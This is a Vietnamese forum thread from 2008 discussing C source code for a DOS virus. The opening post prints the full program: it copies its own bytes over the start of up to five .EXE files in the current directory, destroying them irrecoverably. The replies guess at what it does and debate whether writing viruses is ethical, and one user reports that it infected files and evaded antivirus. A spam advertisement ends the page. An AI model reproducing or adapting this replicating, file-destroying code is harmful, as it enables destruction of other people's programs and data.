-
07-06-2008, 12:41 PM #1Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Code virut viết bằng C, tác dụng của nó như thế nào?
Mã:/* This is a pretty lame program, I would not advise running it on yourself though. It will merely overwrite found files with itself, thus replicating. It is for educational purposes only. Careful, since it overwrites, it is destructive. Infecte files cannot be recovered. I could save time/date stamps, etc. but this was just for fun, and took me only a few mintes to throw together. The Crypt Keeper/RRG (619)/457-1836: The Programmer's Paradise Oh yeah, use the tiny memory model, and make it a .COM file.*/ #include <dos.h>#include <dir.h>#include <stdio.h> #define V_SIZE 7424 int n_inf=0; void resume(void);void inf(char *vir, char *filename);int compare(char *d, char *e); void main(int argc, char **argv){ struct ffblk fileinfo; char vir[V_SIZE]; FILE *fp; char path[6]; int b,a=0; argc++; if((fp=fopen(argv[0],"rb"))==NULL) resume(); fread(vir,sizeof(char),V_SIZE,fp); fclose(fp); path[0]='*'; path[1]='.'; path[2]='E'; path[3]='X'; path[4]='E'; path[5]=NULL; if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume(); inf(vir,fileinfo.ff_name); do { if(findnext(&fileinfo)!=0) a=1; else inf(vir,fileinfo.ff_name); if((a==1) || (n_inf>4)) b=1; } while (b!=1); resume();} void inf(char *vir, char *filename){ FILE *fp; char checkinf[V_SIZE]; if((fp=fopen(filename,"rb+"))==NULL) resume(); fread(checkinf,sizeof(char),V_SIZE,fp); if(compare(vir,checkinf)==0) return; fseek(fp,0L,SEEK_SET); fwrite(vir,sizeof(char),V_SIZE,fp); fclose(fp); n_inf++;} int compare(char *d, char *e){ int a; for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1); return(0);} void resume(void){ exit(0);}
View more random threads:
- Mã nguồn virus viết bằng C(củ chuối)
- Project phân tích Malware
- Mã nguồn chương trình quyét virus viết trên VC++ 2008
- Bik pass wifi của victim thì có lấy thông tin của victim đc không ?
- Ẩn Process trên Taskmanager trong lập trình VC++
- file autorun.inf trên usb không thể xóa trừ khi format cả ổ?
- lập trình Virus bằng AutoIT. Ai biết không
- Virus conficker Rootkit, cơ chế của nó như thế nào?
- Ẩn process trong process list bằng C++ Win32
- Lỗi 0-day: Giả mạo file extension trong Winrar
-
07-06-2008, 04:18 PM #2Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Không biết đoạn code đó làm những gì nên không dám chạy [IMG]images/smilies/biggrin.png[/IMG] Nhưng xem qua code thì thấy hình như việc của nó là ghi đè file. Còn cái tham số của main(int argv, char **argc) là để truyền vào qua command line. Còn cái vụ nhân bản chính nó thì chắc có lẽ là ko roài, vì sơ qua thì không thấy tham chiếu nào tới main() cả !?
-
07-06-2008, 05:24 PM #3Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
mình thấy đoạn code này đầu tiên là nó mở chính cái chương trình đó . vì argv[0] chính là path của chương trình đang chạy. rồi đọc dữ liệu ( byte dữ liệu ) của chính cái *.exe rồi làm cái gì đó ? rồi ghi cái gì đó lên chính cái file đó ..... rồi mình không dám thử . mặc dù có máy ảo. hehe.
mình đã từng xém cháy máy chỉ vì vô tình tạo một ct cho nó gọi lại chính nó . kết quả là ct tự gọi chính nó và chạy hàng trăm tiến trình cùng một lúc không thể tắt hết kể cả task cũng bó tay. làm mình phải tắt nóng. May mà chưa tạo autorun .
-
08-06-2008, 08:41 AM #4Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
- Các bạn thử nghĩ xem có bao nhiêu người viết virus để...nghiên cứu! Mà nếu có để nghiên cứu thì cần gì phải viết virus! Nếu các kiến thức đó có thể dùng được trong các ứng dụng có ích khác thì tại sao ko viết những ứng dụng đó mà lại viết virus ???! Mình đang nói đến những người trực tiếp viết ra virus và đem đi phát tán kìa, nếu bạn chỉ xem thôi thì mình chẳng nói làm gì! Nhưng có bao nhiêu người viết ra virus chỉ để tự mình ngắm nó đâu, phải cho người khác xem với chứ...!
- Mình chỉ nói để cho ai định đi theo con đường đó thì nên thay đổi sẻ tốt hơn!
- Có thể các bạn đang nghĩ rằng mình quan trọng hóa vấn đề, nhưng cái gì cũng có khởi đầu của nó, và có thể khởi đầu sự nghiệp viết virus của một phần trong mấy ngàn thành viên dd này bắt nguồn từ đây...!!!
-
08-06-2008, 08:54 AM #5Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Tôi đã từng nghe một nhà quản trị mạng danh tiếng (quên mất tên roài [IMG]images/smilies/biggrin.png[/IMG]) nói rằng "Cách bảo vệ hệ thống của mình tốt nhất là hãy hack nó !". Tôi không có kiến thức về quản trị mạng nhưng câu nói đó cũng đúng và áp dụng được cho việc này. Nếu tôi không nhầm thì có những công ty bảo mật lại viết ra các tools để hack, *****, xâm nhập ... vào hệ thống và bán các bộ công cụ ấy với giá không hề rẻ ! Vậy họ viết ra để làm gì nhỉ ? Là để cho các admin, manager ... kiểm tra hệ thống của mình ... nhưng có những người lại sử dụng nó để phá hoại. Viết virus không xấu nhưng sử dụng vào mục đích xấu thì mới đáng bị lên án.
-
08-06-2008, 09:44 AM #6Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Đúng vậy. Cái gì cũng có hai mặt của nó.
Vì thế mới có hacker, *****er mũ trắng và mũ đen,
nếu tất cả đều là xấu thì sao lại có các cuộc thi tấn công vào mạng, hệ thống của một công ty nào đó để ẵm giải !!!1
-
08-06-2008, 02:18 PM #7Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
...nhưng có những người lại sử dụng nó để phá hoại. Viết virus không xấu nhưng sử dụng vào mục đích xấu thì mới đáng bị lên án.
- Còn về mũ trắng, mũ đen, các bạn nghĩ bên nào nhiều hơn!
- Về những cuộc thi ấy, bạn nghĩ cuối cùng ban tổ chức muốn có điều gì! Mình cũng ko ũng hộ mấy cuộc thi đó!
híc...bạn ơi....có biết đến cái tối thì mới muốn về chỗ sáng bạn ah...nghĩ câu này thử xem
- Mỗi người có một suy nghĩ, mình thì ko bao giờ ủng hộ việc viết virus! Mình chỉ ủng hộ những cái có ích cho xã hội, những gì có thể làm cho cuộc sống tốt hơn, những gì mang đến sự phát triển kìa! Đối với mình, viết virus chỉ là một việc vô ích!
Đang sáng , tự dưng bị cắt điện -> trời tối.
Có người từ sang đi sang tối đấy
- Các bạn có thấy ai đang là "con ngoan, trò giỏi", chỉ vì muốn làm công an mà đi... ăn cướp chưa???! Nếu có thì liên hệ mình để mình tìm huân chương gắn cho [IMG]images/smilies/biggrin.png[/IMG] !!!
-
08-06-2008, 02:45 PM #8Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
híc...em thử rồi...con này khủng quá mấy bố ơi...BK chưa diệt được...theo như anh XCROSS thì con này sẽ biến những file exe thành chính nó và lây lan...hú hồn...hihiih...anh em ra tiệm xài thử coi
-
08-06-2008, 03:44 PM #9Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Gửi bởi thanhluan07
Cậu có phá phần mềm kiểu gì thì phá cũng không làm cháy phần cứng được .Đừng nói quá lên thế !
-
08-06-2008, 04:10 PM #10Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
- Ko biết sao nhiều người thích viết virus vậy ko biết! Viết ra để làm gì, cho ai sài (chắc cưởng ép các nạng nhân phải sài quá T_T), liệu những thứ ấy sau này có giúp chúng ta "sống sót" được ko ???! Cái nguy hiểm hơn là viết bậy rồi phát tán tùm lum là có thể "đi tù" như chơi! Tại sao ko chứng tỏ tài năng của chúng ta bằng cách làm những gì có ích cho xã hội ấy! Bạn viết ra rồi có dám "vỗ ngực xưng tên" là do bạn viết ko, hay chỉ là một cái nickname để lại...!
- Vài ý kiến (lẩn bức xúc) của mình, ai lở dính vô rồi thì nên rút lui, đừng để sau này phải ngồi than thân trách phận : "Tại sau mình là một thiên tài, một thời oanh liệt mà lại phải khổ sở kiếm sống thế này...!"
Pallet nhựa Lâm Đồng giải pháp hoàn hảo cho nhà kho Pallet nhựa Lâm Đồng là một giải pháp đa năng và hiệu quả trong việc vận chuyển và lưu trữ hàng hóa. Trong đó, pallet nhựa Lâm Đồng không chỉ đáp...
Pallet nhựa Lâm Đồng giải pháp...